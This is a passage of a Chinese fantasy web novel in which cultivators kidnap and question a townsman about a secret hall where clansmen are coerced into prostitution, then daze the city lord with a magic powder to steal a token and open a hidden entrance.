楚汴觉得他们说得有理,其实他也不想和这几人打太多交道,于是牵着小洋就往里走,迈过了台阶之后才意识到什么,停住脚步回头道:“还未过问……几位敲门是要找什么吗?在下可否帮得上忙?” 顾梦真摆摆手:“没事没事,你忙你的吧!” 他们都这么说了……即使有古怪,楚汴也不好再问,朝几人微微颔首之后便进了屋中,缓缓将门关上。 人一进去,石映心便问二师兄:“为何要问他侍卫打扫卫生的事?” 曾换月:“斟酌那些侍卫是不是该扣这一份工钱。” “你别胡说!我是发现有古怪!”顾梦真一脸想展示机智的期待,朝几人招手道,“过来过来~” 几人便随他过去,见他走到墙边,然后用脚蹭了蹭地面道:“你们看这里这里有什么?” 曾换月:“一个傻子。” “沙子,是沙子!”顾梦真无语地蹲下来,从地上抓了一把沙说,“城墙外边就是沙漠,风向是从外边吹进来的,所以这条街上积攒沙子很正常……但是你们看,如果是很久没有打扫的地方,为什么沙子只有这么薄薄一层呢?” 乐鸿也想起什么:“对哦,说起来墙缝边积攒的沙子也很少……” 明易颔首道:“我们去外墙看看。” “好。” 他们飞去外墙,发现外墙的积沙比里边要多很多。 “这说明……”明易想了想,“这附近其实经常有人来打扫,只是最近不久才暂停了。” 乐鸿问:“那方才为何楚汴要和我们说谎?” 曾换月:“因为他不想我们知道这附近有人打扫?” 顾梦真:“有人打扫说明什么?” 石映心:“有人制造垃圾。” “经常有人来这里,或者说……经常有很多人来这里,人多的地方沙也不会多。”明易推测道,“所以传音鹤并没有找错地方,也许李大真的就在附近,只是我们还未找到‘入口’罢了。” “是三足乌族的人把‘入口’封闭了。”石映心进一步猜想道,“而且不想告诉我们;但却是在我们来之前就封闭了……也就是说并不是在针对我们?” 乐鸿:“那是为了什么……” 他们沉思片刻,忽然默契地异口同声道:“祭祀!” “对啊。”曾换月睁大眼睛道,“应该不是离开沙漠,因为这都七八年了;也和我们无关,毕竟我们是昨日才来的;那肯定就是过几日的祭祀帝俊的事嘛!而且那个郑银仁还说意义重大什么的……” “嘶。”顾梦真摸摸下巴,“但是为了这个意义重大的祭祀为什么要把‘入口’关闭啊,这是什么入口?” 石映心眨眨眼:“传音鹤不是去找李大吗,李大不是去了糕梅殿吗?” 乐鸿环顾四周:“是糕梅殿的入口?但这附近没看见什么殿宇啊?要不再去问问楚汴?” “他不会说的。”明易微微摇头,“怕是还会引起怀疑,届时我们的任务也不便完成。” “我有一个办法。”石映心忽然说。 “什么办法啊师姐?” 见大伙看来,她面色稳重道:“楚汴是少司命,我们不好对他下手;但其余族人便无所谓了;我们现下已经推测出先前常常有人去糕梅殿,那说明族人都知道这个地方;既然如此,就直接绑一人来问,失踪了一个无关紧要的人应该问题不大。” 大伙一听,都有些沉默。 这个办法虽然有些粗暴,但是……虽然有些过分,但是……虽然不像名门正派会做的事,但是……虽然,但是……感觉很值得一试啊! 师姐开团,小师妹是必跟的:“好啊好啊,就这么办呗!” 顾梦真说:“我也觉得可行,时间宝贵啊,瞎找要找多久?” 明易没说话。但大伙知道他只是充当着归壹派正派身份的最后一道防线所以不便苟同罢了;沉默便是默认。 这时候乐鸿小心翼翼地问:“但是……若那人誓死不从怎么办?” 石映心:“再抓一个。” “……还是不从呢?” “再抓一个。” “……还是……” 石映心:“你不用管,我有办法。” 总觉得她有把全族都抓光的意思,乐鸿把跳起来的良心按回去:“……好。” 于情于理,做这些见不得光的事要在见不到光的时候做,但他们可是仙人呀,能力远超凡人,光天化日之下绑个人那是轻轻松松的。 过程太快可以略过,总之现在他们在一间没人住的废弃屋子里,椅子上绑着一个方才不幸路过的路人。 身为人质,他现在就是很标准的被绑架的姿势,双手双腿被绳子绑在椅子上,嘴巴里还塞着一块布,只能徒然地瞪大惊悚的眼睛,左看看右看看,愤怒中带着惊惧,不断地来回打量着这几个…… 蒙面人!? 此路人是万万没想到光天化日之下,在他们这个封闭了七八年、几乎没有外人来的小城池中,甚至就在他家门口被绑架了;他只是出来丢个垃圾啊,因为不想丢在自家门口所以特地走了几步,谁知道—— “唔唔唔唔!”你们是谁! 蒙面石冷漠道:“别吵,问什么你就答什么,兴许还能饶你一命。” “唔唔唔唔!” 蒙面曾冷笑一声:“叫啊,叫破喉咙也不会有人来救你!” “唔唔唔!” 蒙面顾变出一把假刀在手上转了个甩着刀光的花:“给我安分一点,小心刀剑不长眼呵!” “呜呜呜呜……” 蒙面乐:……等等这些话都是开玩笑的没错吧? 蒙面明:又演上头了是吗。 他将无辜路人嘴里的抹布扯了下来,心中打算快点结束这场闹剧:“你……” “啊啊啊救命啊!你们到底是谁!”这人果然毫不犹豫地大喊大叫起来,仿佛方才的威胁完全没听进去,“都是一个族的人,抬头不见低头见的,你们真的以为我认不出来你们吗!” 蒙面顾:“那你认。” 路人顿了顿,果真仔细打量起来,很快眯起眼睛说:“是不是老王,还是老张老李老陈老马!?你们究竟想做什么,我不信你们真有胆子杀了我!就算杀,我一个顶天立地的男子汉也不会屈服的!” 曾换月一下子把顾梦真脸上的蒙面扯了下来:“你看看他敢不敢?” 顾梦真:个_个 路人:o0?? 他张了张嘴道:“我、我以前没见过你……” 第139章 没见过没关系,现在是四目相对着的,可以好好认识一下。 “你们、你们……”他简直瞠目结舌,“你们是谁啊?我们三足乌族已经隔离外世许久,你们是怎么进来的!?” 几人对了个眼神,心说这不赶巧了,逮着一个还没来得及听到他们“仙人”风声的人质,可见消息落后是件多么可怖的事。 顾梦真瞬时凶神恶煞起来,装模作样地拿着假刀在他脖子上隔空划了划,威胁道:“你别管我们是谁、怎么进来的,现在你的小命在我们手上!我们问什么你就答什么,敢说一句谎话你就完了!知道吗!?” 乐鸿有些同情地看着此人,心说见他方才气势汹汹、义愤填膺,嫉恶如仇的模样,还坚定地大喊着自己是顶天立地的男子汉,誓死不从……唉,看来这次有些难办…… “别杀我、别杀我!”这位顶天立地的男子汉惊慌道,“我什么都招!什么都招!各位大侠饶我一命啊!” 乐鸿:……? 小和尚忍不住道:“你方才不是说自己不会屈服吗……” 男子汉惊慌又可怜地说:“我、我……男子汉大丈夫能屈能伸!” 乐鸿:OO? 不是,这位施主你…… 顾梦真把发愣的乐鸿拉下去,小声嘀咕道:“人家都要招了,乐鸿你干嘛?我们总不能真的对他动刑吧?” “嗯、嗯……”乐鸿没别的意思,只是惊叹于男子气概之变化多端。 男子汉说他什么都招,再加上他们的秘密武器石映心,这下是好办多了。明易单刀直入地问:“糕梅殿在哪?” 男子汉明显一愣:“你、你们怎么知道……我,我不知道啊!” 曾换月踹他的椅子:“喂!我是不是说过不能说谎!?” 男子汉的心肝随着椅子狠狠地发抖了一下,他缩起脖子道:“我、我也不想说谎……但这事城主有死令,不能和外人说的!” 石映心看出他这句没在说谎,于是道:“那你猜猜,是你们城主的死令来得更快,还是我们的刀剑更快?” 男子汉:…… “我说、我说还不行吗……”他似乎有些想哭了,“但是你们千万别说是我说出去的啊!” “放心吧,”曾换月得意道,“郑银仁算什么角色?我们根本不放在眼里。他哪里敢逼问我们?” 虽说不知几人是什么来头,但听他们好大的语气啊。男子汉心中竟然生了些诡异的安定。他深呼一口气道:“那、那我说了……” “赶紧的。” “糕梅殿……其实是……额……我们族人寻欢作乐的地方,”他慢吞吞地组织着措辞,“就相当于是外头的青楼吧……” “青楼?”几人皆是一愣,顾梦真嘟囔道,“居然是青楼,怎么取个糕点坊的名字?” 男子汉便知道他们误会了,还试图解释道:“不是那个糕梅,是那个高禖……” 石映心:“哪个?” “就是那个……嘶,怎么写的来着?”这也是个文盲。 还得是乐鸿,他头光一闪:“我想起来了,是高禖神!” 男子汉看向他,有些激动地点头:“对对,是高禖神!” 曾换月嘟囔:“怎么又来一个神。” 她师姐问:“高禖神是什么神?” “几位还记得我先前说过的上巳节吗?”乐鸿解释道,“高禖神便是从前人们在上巳节祭祀的神祇,是掌管姻缘和生育的女神。” “啊?”顾梦真这下诧异了,“一个女神殿,结果被你们搞成青楼啊?胆子很大嘛!我还以为你们祭祀着帝俊,对神祇都很尊敬呢!” 男子汉尴尬一笑,似乎也不知怎么解释,只说:“这、这不一样……” 明易:“何处不同?” 男子汉:额。 怎么又说不出来了。 这时候石映心想到什么:“凡间的青楼多是女子,你们族也是吗?” 男子汉眼珠子一溜溜:“……额,嗯。” 石映心:“可你们族的女子不是七年前全死了?” 男子汉眼珠子二溜溜:“……额,嗯。” 石映心:“那为何高禖殿还继续开着?” 男子汉眼珠子三溜溜:“……额,嗯。” “嗯你个头!”曾换月踹他椅子,“我师兄问你话呢!还不赶紧说!” 男子汉吓了一跳,苦着脸说:“没了女子,那自然是由男子充当了啊……我还要说什么,这不显而易见的事……” 这显而易见的事实让几人都愣了一会。 乐鸿震惊之下很有疑问:“难道不应该是……从此糕梅殿不复存在?为何这么理所当然地就……由男子弥补了空档?” 男子汉露出回忆的表情:“我记得一开始是没有这样的……但是因为族里所有的女人都消失了,那些原先有妻有妾的族人一时无法适应,所以就……出去强·抢·民·男……” 五人:? 石映心好奇:“怎么抢?抢回家做男妻?” “额,”男子汉扯着嘴角尴尬一笑,“准确地说,是强·奸·民·男,没有带回家,只是露水情缘,哈哈。” 石映心:“哦。” 其余人:…… 顾梦真觉得自己脑子有点糊涂了:“不是,你们管强·奸·叫露水情缘啊?” “不是我这么说的啊。”他连忙摇头道,“是那些族人的说辞,他们说大家都是一族的好兄弟,互相满足一下鱼水之欢怎么了?但是被·强·奸·的族人就不乐意了,说自己从来没有被走过后门的,这简直是男人之大屈辱!” 五人:O0O 石映心:“所以后来他们得到了什么惩罚?” “额,”男子汉说,“……好像没有惩罚。” 曾换月问:“为什么没有惩罚,你们族男人·强·奸·男人不犯法啊?” 男子汉:“从前没发生过这样的事。” 乐鸿道:“其实完全可以按照男子欺辱女子的律法定刑。” 男子汉:“……其实也没有这样的律法。” “什么?!”曾换月满头问号,“不是,有男有女的地方怎么会没有这样的律法?” 男子汉无辜道:“一般来说……只要和哪个女人有鱼水之欢后,就可以娶她做妻妾了,所以没有啊。” 五人:oO? 这时候他们想起乐鸿师傅观德仙僧的话: 【师父曾说,此族避世已久,固步自封,怕是甘愿抱残守缺,就是做出什么违背现今道德的事也是极有可能的;若是继续放任他们自得其乐,可能会招灾揽祸……】 他们嘞个逗,当时听了没觉得什么,这会是有些感触了。 明易调整好思绪,继续问道:“如此是非不分、混淆黑白,只怕情况会愈演愈烈。” “对啊对啊,确实如此。”男子汉接着说,“在那之后,城中男子被·强·奸·的事屡见不鲜,甚至因为男子不能怀孕,许多人都肆无忌惮……城主也很头疼,毕竟这样下去,被·强·奸·是小事,只怕我们一族民心不一、分崩离析啊!” ……重点在这啊? 算了,听他继续说:“我记得事情的转机是……哦,对了,是有一日副城主很生气……” 曾换月想起那个高壮的人,眉头一挑:“因为他被·强·奸·了?” “那倒不是,没人有这个胆子。”男子汉澄清道,“是他养的骆驼被·强·奸·了。” 五人:Oo?? “据说当时他在外头巡逻,回来后想去看看骆驼,结果就看见有人在冒犯他的爱驼……”男子汉面容严肃道:“他一气之下要把那人杀了,但好在还是没下手,只是将那人送去了城主那,要求讨个说法。” “但问题是·人·强·奸·人·都还没个定论,何况人·强·奸·骆驼呢?城主非常疑惑,问他为什么要这么做,那人说……因为他体弱力气小,走在外头都是被人·强·的份,他实在是受不了这屈辱,所以才对骆驼下手……” 五人:%¥#@* 男子汉叹了口气道:“就是因为这事,城主意识到了事情的严重性……” 不是,现在才意识到啊!!? 男子汉:“城主觉得再这样下去,族人们会慢慢地没有人性,只剩下兽性……于是决定重启高禖殿,让族人们有释放欲望的合理场所,从而找回身为人的理智……” “不。”明易冷冰冰道,“你们只是将不合理的行径合理化,但改变不了它的本质。” “对啊!”乐鸿也有些激动了,“正确的做法应是设立律法,严格惩罚这些不法行径!” “哦,也许是吧,我也不懂。”男子汉随意道,“但确实在重启高禖殿后,城中安定了许多,族人们又重新其乐融融、和睦共处了。” 石映心于是有了新问题:“那些高禖殿中的男人是自愿的吗?” 男子汉睁着眼睛:“不自愿也没办法啊,必要的牺牲是难免的,这是为了我们全族的幸福!” 石映心:“全族?进入高禖殿的人就不算你们的族人了?” “额,”男子汉一噎,“我不是这意思,我的意思是大部分、大部分族人的幸福,以及整个族的安定……你不要这么较真!” 石映心瞥他一眼:“是你话说得没有逻辑,好像脑子分裂似的。” 男子汉:…… 看看自己还在被绑在椅子上,他忍! 明易微不可察地叹了口气道:“所以你们组这七年来就一直通过这样的方式安定民心?” “算、算是吧。” 乐鸿的眉头从刚才开始就没松开过:“这是个苦差事,是什么样的人才会被选入高禖殿?” 男子汉掀着眼皮想了想:“额,首先肯定选的是容貌阴柔、长得像女子的男人;再是身形瘦弱、或是说话声像女子的男人;最后有个别是……满足某些人癖好的?总之,高禖殿里各种各样的男人都有,任人采撷。” 第140章 “哇。”曾换月嗤笑一声,“那你们很爽了。” “还、还好吧。”男子汉苦笑一声,“其实也有麻烦之处,比如很容易得一些奇奇怪怪的病……” 咦惹!曾换月露出嫌弃的表情:“你们也太恶心了!” “没必要这么说吧。”男子汉尴尬道,“这不是人之常情吗?” 石映心:“是你们族男人之常情。” 男子汉:“……额。” 不过说到这里,大家都想到了李大,于是顾梦真顺口一问道:“对了,你认不认识前几日因为闹鬼而死的李丙的儿子?” “哦,李大啊,我认识。”男子汉点头道,“我还知道他前几日被请去高禖殿了。” 他们正是要问这事:“为何他被请去了?” “本来他就娘们唧唧的……”男子汉耸肩道,“先前要不是他爹怎么都不肯,说这样有辱他们李家的门风,要不然他早就被请去了。这下好了,他爹死了,就没人护着他了呗。” 几人相视一眼,没想到是这样的缘由。 明易接着又问:“李大被抢去高禖殿是在高禖殿被封闭之前还是之后?” 男子汉想了想:“好似是在之后吧……不对,你们怎么知道高禖殿被封闭了?” “你不用管我们怎么知道的!”曾换月没好气道,“说,为什么高禖殿被封闭了?封几日了已经?” 这人特别凶,男子汉缩了缩脖子道:“封了快半个月了……至于原因我是真不知道,只大概了解到是和过几日的祭祀大典有关……其余的就不知道了……” 顾梦真拿假刀在他面前一划:“真不知道?” 男子汉吓得闭上眼睛:“真不知道,真不知道啊!你们就是把我杀了我也不知道啊啊啊呜呜呜呜!” 三人看向石映心,见她微微摇了摇头,便知道男子汉没说谎。 明易:“过几日的祭祀大典是为了什么?” 男子汉:“我只知道事关重大,为了这次祭祀,副城主还加强了侍卫队巡逻,大晚上不让我们乱逛的……其他的就不知道了,真不知道!” 没说谎。 明易:“高禖殿在哪,我们要怎么进去?” 男子汉抽了抽鼻子:“高禖殿在城东的地下,平日瞧不出来,要城主的令牌才能开启通向地下的机关……” 怪不得他们没找着,整得这么隐蔽。 问得差不多了,这人也就没用了。本来是打算将他一直关在这里的,但最终还是明易用元婴灵识篡改了这人的记忆,将男子汉扔回了他家门口,一堆没来得及扔的垃圾边上。 这么折腾一会,天也黑了。也不知是不是听了高禖殿的事,几人难得都没什么胃口,压根没去城主府吃饭,让翘首以盼的郑银仁白等了许久。 他们围坐在屋里,设置了防听防偷窥的阵法之后,围坐在桌边商讨接下来的事宜。 乐鸿先叹息道:“没想到三足乌城中居然有如此罪孽深重的地方!” 曾换月却冷哼一声:“我忽然觉得一点也不出乎意料呢,一个只有男人当家做主的小城池,他们什么事做不出来?呵呵。” 顾梦真道:“你也别否认所有男人啊,仅是这族的人脑子有病!我就觉得他们很不对啊。” “没说你,”曾换月没好气道,“你别代入就是了。” 顾梦真“哦”了一声,又说:“反正现在我们知道高禖殿在哪,还有李大应该没死的事情了。” 提到这个李大,乐鸿又是一声叹气:“说来李大也是一个可怜人,李丙在世时受父威压迫,挨打挨骂;结果李丙一死,他又失去了庇护,惨遭欺辱……唉,可怜可悲啊。” “你怎么还同情上他了,指不定他也是个坏人呢,”曾换月现在对三足乌族的每个男人都很有意见,瞥乐鸿一眼道,“我说你有时间可怜可悲人家,还不如早点想办法收集他们不法的证据,一举击溃他们呢!到时这些高禖殿不自然就被制裁了?” 乐鸿如当头一棒,立刻打起精神道:“曾道友说得对,事到如今,我应该想些有用的事……我们接下来该怎么办?” “很简单,”石映心一脸稳重道,“偷令牌,进高禖殿。” 明明白白几个字,说得好简单啊映心。 小师妹看向她:“师姐你有主意?” 石映心说:“反正比我们上次偷赵有志的宗主令简单,再试试那个办法就是了。” 小师妹一想很有道理啊:“那倒也是哦!” 乐鸿:……等等我听到了什么?没记错的话赵有志好像是合欢宗宗主……不过几位道友看起来很熟练很靠谱的样子,那他还是乖乖地照办吧…… 曾换月回忆了一下:“当时我们是在赵宗主的酒中溶了神志不清符,但这次郑银仁的卧房外肯定有很多侍卫看守,难道我们要一个个地让他们喝下去?好麻烦哦。” 乐鸿点头:是有些麻烦。 明易也说:“用隐身诀倒是可以一试,不过我们不知道郑银仁将城主令放在哪,不知要找多久……属实不易。” 乐鸿同意:是有些难度。 石映心想了想说:“我的能力也不方便用,若是无故提起城主令的事,郑银仁一定很快就知道我们在找高禖殿,只怕不等我们去找,他就已经采取了措施。” 乐鸿沉思:听不懂但好像不能问。 他叹了口气道:“若是能有什么宝贝,可以让郑银仁像傀儡一般听话就好了……” “欸!”顾梦真一拍手,“你提醒我了!我是有一个这样的宝贝!” 大伙的目光集中他:“什么什么?” “是我前几日用过梦草研究出来的灵药,”顾梦真拿出一个小瓷瓶道,“我给它取名叫梦游粉。传说人的肩膀上有三把火,只要让郑银仁吸入这个粉,然后一拍他的肩膀,拍灭一盏火,就可轻易勾走他的魂,叫他乖乖听话!” “我去,”曾换月心说这怎么和21世纪的某个骗局这么像,“拍肩迷魂啊你这是!” 顾梦真自然没懂她的意思,还点点头道:“哦,说是迷魂也行,不过效用只有一刻钟。” 曾换月有些头皮发麻:“好啊你,平日说炼丹药无趣不喜欢炼药,结果一炼就炼出个这么坏的东西!” 顾梦真被她说得一脸无辜:“什么啊,我可没拿它来做坏事!再说这不是正好派上用场吗?干嘛这么说我……” “我……”曾换月也是一噎,她之前听过这种骗局的可怖,如今自然往不好地方想,“好啦,算我说错了,对不起嘛。” “好了,”还是大师兄打了圆场,“器物丹药不分好坏,重点是要看主人怎么用。” 石映心点点头:“嗯,我们只是为了偷东西才要迷晕郑银仁的。” 几人:…… “虽然听着不像要是做好事,”明易无奈一笑,“不过确实是在做好事。” 那就去做不被定义的好事吧! 月黑风高夜。 城主寝殿门外。 左边侍卫打了个哈欠:“困死了,今天我先睡,你守着。” 右边侍卫瞥了同僚一眼:“我看今晚还是小心些,先别懈怠了,总觉得方才城主回来的 时候心情不大好。” “城主不常常心情不好吗?尤其是快祭祀大典了,每日回得越来越晚,整得我俩也偷不了懒。” 右边侍卫点头:“确实如此,听下人说城主近日是头发越掉越多,人也看着憔悴不少;不过等祭祀大典之后,待我族得了帝俊护佑,日子定会越过越好。” 左边侍卫“嘶”了一声:“可这次的祭祀大典究竟是干嘛用的?为了这事连高禖殿都封了,我近日真是憋得慌!” “嘘!”右边侍卫压低声音道,“小心隔墙有耳!” “你不至于吧,哪里有耳?” “老兄你忘了?府中不是来了那几位……” 二人的话越说越小声,气氛渐渐有些隐秘的紧张。就在这时,有一个下人端着食盘走来,二人打住嘴边的话,正色将他拦住:“陆小弟,这么晚了你来做什么?” 陆小弟说:“两位大哥,还请帮小的通报一声,是石仙人做宵夜时多做了一些,命我来给城主送一份。” 二人看了眼他手上的那晚骆驼肉青菜面,瞧着平平无奇,但不知为何闻起来好香,说起来这两日也有听闻这位石仙人厨艺高超的事…… 右边侍卫颔首道:“知道了,你且稍等,我进去通报一声。”说着便进了殿中。 左边侍卫盯着那碗面咽了咽口水道:“这石仙人真没眼力见儿,这么不多做一些叫我也尝尝?” 顾梦真(伪装陆小弟版)偷偷翻了个白眼,心说你是什么货色,我师妹做的面是你能尝的? 很快另一个侍卫就出来了,朝他颔首道:“城主让你快些进去,别让面凉了。” 顾梦真:“哦。” 两个侍卫:哦? 他端着面走进去,看到郑银仁已经坐在桌边等了,瞅见他就迫不及待地招手道:“快点快点,慢吞吞的。” 顾梦真:“哦。” 他把骆驼青菜面往郑银仁面前一放,看他陶醉地深呼吸一口,苍蝇搓搓手后决定开动,但忽然发现了什么,左右看了看——“嗯?筷子呢?” 筷子?顾梦真挠头:“啊,忘拿了。” “砰”地一声,郑银仁气得拍桌:“你怎么做事的,这么重要的东西都能忘!?没筷子你让孤怎么吃?还不快去拿来!” 顾梦真站在那没动,对着郑银仁瞪过来冒气的双眼说:“给你变个术法。” 郑银仁:? 就见他伸出一个拳头来,郑银仁居然异想天开地觉得这下人该不会是要给他变双筷子出来吧?整这些玩意做什么……心下虽诡异,但还是情不自禁地盯着那伸到眼前的拳头,只见他张开一挥,仿佛有什么东西?紧接着肩膀上似乎被人拍了一下,之后…… 郑银仁:*0* 顾梦真拍拍手,拍掉手上的余粉:“城主令在哪?” 郑银仁(*0*)站了起来,往内室走去。 一刻钟后,陆小弟端着空碗从殿里走了出来,朝两个打哈欠犯困的侍卫道了别后,走入前方的拐角不见了身影。【】 140-150 第141章 三足乌城,东城墙。 夜风沙沙。 “你们猜这郑城主把城主令放哪了?” 乐鸿:“枕头下?” 曾换月:“贴身衣物里?” 石映心:“犄角旮旯。” “他内室的床边供奉了一个三足乌像,我见他左转右转那个神像,好似是有什么规律,转了好几下之后边上就有一个机关打开。”顾梦真手上做了几个转动的动作,“城主令就藏在那个机关里。” 明易听了便说:“这确实不好找,还好有你的梦游粉。” 顾梦真便得意起来:“那当然!” “不过……”夜色中石映心的眼睛发着两点光,“城主令是拿到手了,现在要怎么用呢?” 好问题。大伙上下左右看了看周围,除了城墙就是空荡的街,哪里有什么类似“入口”的地方啊? “难道是这城主令中有什么阵法?”曾换月从二师兄手中拿过城主令翻来覆去地看了看,“没有啊,我没感应。” 顾梦真也说:“方才我也检查过了,令牌本身就是普通的令牌,不是宝器,没有什么名堂。” 明易推测道:“你说是在三足乌神像的机关下找到的令牌,也许这附近也设置了类似的机关,只是我们还未发现。” 小师妹双手一摊:“可我们白天的时候已经把这里逛遍了、搜遍了,啥也没有啊。” 这倒是确实…… 大家沉默了一会。石映心说:“我们去把郑银仁绑来。” 大家沉默了两会。大师兄道:“……万不得已再试吧。” 石映心:“嗯。” 乐鸿乐观地说:“要不我们再找找?说不定一些线索在晚上才会出来?” 是有这样的可能的,所以大家没有异议,决定勤奋地再搜查一遍。大师兄和二师兄猜想机关藏在墙上,分开两个方向仔细地摸墙;小师妹和乐鸿也各种瞎看,四处踢踢踹踹。 石映心本人则是有些没兴致,懒散地跟在曾换月后边,双目发直看着像在发呆,耳边听着小师妹时不时和她嘀咕的声音,她就句句有着落地敷衍,其实完全没听进去。 不知为何,她总觉得有些心神不定。 “师姐,你说这个高禖殿到底在哪啊,这附近啥也没有啊。” “嗯。” “师姐,好烦啊,要不再过会咱们就去把郑银仁绑来吧。” “嗯。” “师姐,不过你刚才做的那碗面真好吃,你说你明天还有做饭技能吗?” “嗯。” “好无聊啊……师姐你说……师姐,师姐你怎么站着不动啊?” “嗯……嗯?” 夜风沙沙,吹来小师妹有些飘远朦胧的声音,石映心转头一看,就见身后十几步远外的地方站着两个身影,背对着她近一些的是她小师妹,正伸手要去拍另一个背影;这另一个背影瞧着是……她自己? “小心!” 石映心迅速反应过来,人未动剑先出,帝血剑划破风沙而去;曾换月也吓了一跳,连忙要把手收回来,但下一刻,面前背对着她的师姐忽然伸手抓住了她的手腕—— 曾换月看了看“师姐”从正面伸来的手,又看了看那颗披着长发的脑袋,一时分不清这是脑袋装反了还是胳膊装反了,但如果衣服没穿错的话……好了重点不在这里,重点是:“师姐这里有鬼!” 一边喊一边闪躲,下一刻就见师姐的剑穿透了面前的鬼影,鬼影瞬间消散,帝血剑绷在空中微微发震。 石映心赶来师妹边上:“怎么回事?” 曾换月也一脸懵:“不知道啊就突然出现的……” 话音未落,就见那鬼影又出现在前侧方不远处,石映心来不及多想,提着帝血剑就上,有一副要捉住鬼问个明白的架势。 夜深人静,曾换月只好小声给师姐加油:“师姐快捉住她,居然敢吓我!” 石映心也想捉住这鬼,可她一赶过去,那鬼就跑;又追上去,那鬼又跑。不知为何也不打,仿佛只是单纯地骚扰。 大师兄二师兄摸墙摸得远,附近的乐鸿倒是很快赶来,看着石映心和鬼你追我赶,一时有些摸不着头脑:“这、这是在……” “讨厌!”曾换月关心师姐没空和他解释,一跺脚烦躁道,“这鬼只逃不打,到底想干嘛!” “也许是觉得自己打不过石道友?”乐鸿也不清楚,他试探道,“不过如果对手是鬼的话,在下倒是可以一试……” “是吗乐鸿?那你快试试!” 这一边的乐鸿闭上眼睛双手合十开始念经心法,另一边的石映心则继续追着鬼砍,一会儿左一会儿右一会儿进一会儿退的;其实以她的修为,杀只鬼很轻松,但这会她配合对方的行径,一是为了想捉鬼,二是她感应到…… 这鬼并没有要伤害她们的想法。 那它想做什么? 很快,聪明的镜灵便发现了鬼的意图,她停下追逐让到边上,果真见那女鬼自顾自地在边上来回飘动,看着像脑子不好使,其实始终固定在一个范围内;石映心发现她的动线似乎能组成……一个图案? 这么重复两三次之后,女鬼似乎也有所感触,停在了某处不动,静静地用后脑勺(存疑)看着石映心。 石映心不喜欢打哑谜,正想问个明白,却见一旁有一阵金光袭来,直冲女鬼而去;那鬼也是一惊,甩着长发看了看石映心又看了看金光,整只鬼已经在逼近的金光下昏昏欲散,只好紧急转身逃离,很快便消散在黑夜之中。 “跑了跑了!”曾换月跳起来,“给她跑了!” 乐鸿停下念咒,有些不好意思道:“我看那位鬼施主站在那不动,不像是要害人的模样……” “可她方才还扮做师姐吓我……”说到这她看见她师姐走来,连忙道,“师姐你没事吧?那只鬼有没有伤你?” 石映心摇摇头,又说:“去找大师兄二师兄,有些发现。” 她话音刚落,就见明易和顾梦真从两边飞了过来。明易先落地后便问:“方才我见金光闪烁,发生什么事了?” 顾梦真看向乐鸿:“是乐鸿的佛法吧?” 乐鸿点点头,不等他开口,曾换月就七嘴八舌地把刚刚的情况说了一遍,听得二人也是有些云里雾里的。 明易道:“既然没打起来,说明这些鬼并不会无故害人。” 顾梦真推测道:“如果不是为了害人,那就是别有所图喽?映心,你可有发现?” 映心总算等到自己说话的时候了,指着边上的空气说:“她原先一直引着我在一处地方兜圈,后来我想了想,像是以行踪在地上绘图。” 顾梦真:“什么图?” “我说怎么兜来转去奇奇怪怪的……”曾换月这才恍然大悟,“难道是什么阵法?” “不像。”石映心说,“很 简单的。” 说着她蹲了下来,用法术在地上画画。 几人纷纷跟着她蹲下,围团团看着,就见她在地上画了简单几笔,像是一个“木”字少了中间一横,又在竖的左边戴了一顶小帽子。 乐鸿的角度只能歪着脑袋看:“这是什么意思?” 石映心:“不知道。” 顾梦真皱眉:“说是字,没这个字;说是画,也太简单了……” “简笔画!”曾换月灵感一闪,“这是简笔画啦,我知道了,这画的是三足乌,你们看像不像?” 如果说是三足乌,那也太简笔了,但被她这么一说,再看这“画”下边的三条确实像三足,上面那个一小撇就像喙…… “嘶。”顾梦真抬眉,“你还别说,是有点像。” 曾换月说到这摇摇头:“但如果是这个的话,就不像是什么阵法了。” 众人于是又陷入沉默。这时候石映心在“三足乌”的三**汇处补充了一点:“她最后是站在这里看着我。” 她这一点倒是让乐鸿灵光一闪:“我知道了,这是一种武功阵!” “武功阵?” “不错,”乐鸿亮着眼睛道,“不过这只是梵音洲的叫法,我们的武功阵和修仙界常见的阵法不同,是一种凡人也能驱使的阵法,就像下棋时有棋阵一般,是一种阵势布局。” “哦~”顾梦真好像有些听懂了,“其实就是一种陷阱……或是机关?” 乐鸿点点头说:“某种意义上算是,有些阵法也可以叫机关阵。” 曾换月看向小佛像:“那要怎么做?” “排兵布阵。” 听起来有些高大上,其实就是每个人站个点位。正巧这个“三足乌”需要站五个点,于是在石映心的指引下,每个人都站在了方才女鬼站过的地方。 站定之后,五人相望。 夜依旧深静。 曾换月摊手道:“无事发生啊。” “不急。”明易说,“还有城主令没派上用场。” 他朝石映心微微颔首,后者自然明白大师兄的意思,将手中的城主令毫不犹豫地往“三足”交汇处一扔—— 随着令牌砸在地上发出清脆的碰撞,只听有一声闷闷的“轰”从地下传来。几人先是发现自己脚踩的地方亮了起来,紧接着就见地上的城主令忽然开始旋转…… 不,准确地说是它下边那块地在转,像一个转动的圆台,越转越塌陷下去,地上于是出现了一个大洞,竟有半条街那么宽大,一次大概能容纳十人并行;洞打开之后,又听几声躁动,有台阶自下而上冒了上来,直到与地面齐平。 石映心已经将城主令收了回来,见它在手上发了会光,不久便暗淡下去,恢复了原样。 镜灵这时候才在其中感到一些和“灵力”有些相似的能量,不过寻常时候竟然看不出来,见现下的情况,看来是要和什么相互感应之后才能被激活?就像钻木取火一般,一根木头是没用的。 第142章 这种形式她也是第一次见,是有些新奇。 果然也听乐鸿道:“看来三足乌人是在地底下埋了什么机关阵,大概是需要先有重物同时压着,再用城主令做感应钥匙,如此才能将大门打开。” 顾梦真嘟囔了一句:“还挺聪明的嘛,为了做坏事真是绞尽脑汁哦。” 大伙默契地露出一个嘲讽的笑容。明易抬眼看了看天色,眉心微蹙:“快到子正了,事不宜迟,我们快进去吧。” “好。” 他们便要往下走。石映心发现大师兄走到她边上,见她来看便说:“映心,这次你要时刻在我身旁,不要乱走。” 石映心:“不会的。” 大师兄认真道:“不是和你开玩笑,等会过了子正,只怕你又要变些性子。” 原来是在担心这个,石映心点点头说:“我有数的大师兄,你不要担心。” 一般人是做不到说不担心就不担心的,更何况是多思虑的明易。不管师妹如何,总之他是决定要跟紧她了。 几人先后进了洞梯,由顾梦真殿后,主要是为了用他的“找不着迷罩”将这片范围笼罩起来,如此可暂时将此地与世隔离一个时辰,不会被旁人发现,大致效果和鬼打墙类似。 街上很快恢复了平静,月色森森洒落人间,只照透了鬼影。 * 提到“殿”,曾换月首先会想起各色奢华的殿宇;又说是“青楼”,那就有活色生香的艳丽;所以她对高禖殿的设想就是氛围像青楼的漂亮殿堂楼阁。 